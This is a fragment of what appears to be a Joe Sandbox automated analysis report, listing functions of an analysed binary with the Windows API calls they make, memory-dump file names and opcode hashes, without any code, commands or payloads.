                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: AllocateHeap
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1279760036-0
                                                                                                                                                                                                                                                              • Opcode ID: bf08fc67901bc5dbab7bc8258ff481bf7036357e3f6966dad4b5603a2689289b
                                                                                                                                                                                                                                                              • Instruction ID: dc9a9af936af8428ac0e72173b0747514b8ccd1ac3f9e9a6c5c88a61be4c4831
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: bf08fc67901bc5dbab7bc8258ff481bf7036357e3f6966dad4b5603a2689289b
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4BF0E931501325AADF213A769C05A5B3758FF453B0B1D8931FD14FB183DA30DC0081E5
                                                                                                                                                                                                                                                              Function 008687B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • GetFileAttributesA.KERNEL32(?,0086DA1D,?,?,?,?), ref: 008687B9
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: AttributesFile
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3188754299-0
                                                                                                                                                                                                                                                              • Opcode ID: dbfeab29c728b7eb22eda502501251409ff85106aee878bf7696b636fdc04281
                                                                                                                                                                                                                                                              • Instruction ID: 866e8588dcafb269090cad8cecc01368c00dc50ac292a5689b1623b1fec0103b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: dbfeab29c728b7eb22eda502501251409ff85106aee878bf7696b636fdc04281
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 98C08C280526008DED1C093C01D89A83306EA477A47F51F88E0B8DF1E2CA3568079A50
                                                                                                                                                                                                                                                              Function 008687B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • GetFileAttributesA.KERNEL32(?,0086DA1D,?,?,?,?), ref: 008687B9
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: AttributesFile
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3188754299-0
                                                                                                                                                                                                                                                              • Opcode ID: 142baeb034d39cfe78c8363b1b22b31239b2266ac8faf070480352490277069f
                                                                                                                                                                                                                                                              • Instruction ID: 3bf6db227598bdcf73fd31bc4fe5f7620c4929777a4dad33c9d64f7eac92d04c
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 142baeb034d39cfe78c8363b1b22b31239b2266ac8faf070480352490277069f
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9FC08C38052200CEEA1C4A3C51989783206FA037283F10F9CE079DF1E2CB32E403CAA0
                                                                                                                                                                                                                                                              Function 0086B1A0 Relevance: 1.5, APIs: 1, Instructions: 244COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0086B3C8
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: Initialize
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2538663250-0
                                                                                                                                                                                                                                                              • Opcode ID: 6f77456082766b98a9023f5dfb54ca63aa6723ae66f0e249fe67c4b5bca84eef
                                                                                                                                                                                                                                                              • Instruction ID: 096870c7f230d31e72d9bc4247eb345c961fb4d0cdf7da90914c06b01c340300
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 6f77456082766b98a9023f5dfb54ca63aa6723ae66f0e249fe67c4b5bca84eef
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4FB10670A10268DFEB29CF18C994BDEB7B5FF15308F5085D8E40AA7281D775AA84CF91
                                                                                                                                                                                                                                                              Function 050B0552 Relevance: .1, Instructions: 70COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2187191531.00000000050B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_50b0000_file.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: c358035c49c6d351d2279174c4418befb6b59d618b5c988afece3f825c84aee4
                                                                                                                                                                                                                                                              • Instruction ID: 5743fa2a2512d4a4eb7bdd521dfbdd85d915e9fb084eedbee829835e841e6f8f
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c358035c49c6d351d2279174c4418befb6b59d618b5c988afece3f825c84aee4
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2D01B1B7148221EEB241DA903AACAFF77BDF5D2630370846BF842C6801D6D90F495171
                                                                                                                                                                                                                                                              Function 050B052D Relevance: .1, Instructions: 63COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2187191531.00000000050B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_50b0000_file.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: 159346903c2755a73237e150e40263e4ef460070beb092d9467e401cb44ca295
                                                                                                                                                                                                                                                              • Instruction ID: df7fb4c719335826ec6fb6bc96f4878d1017bcac66319616a7c2eab2facc19fb
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 159346903c2755a73237e150e40263e4ef460070beb092d9467e401cb44ca295
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 01F0D1E720C154EEB101D5403BECAFF6B2DE0C22313348467F842C6C01D6C94B4A9131
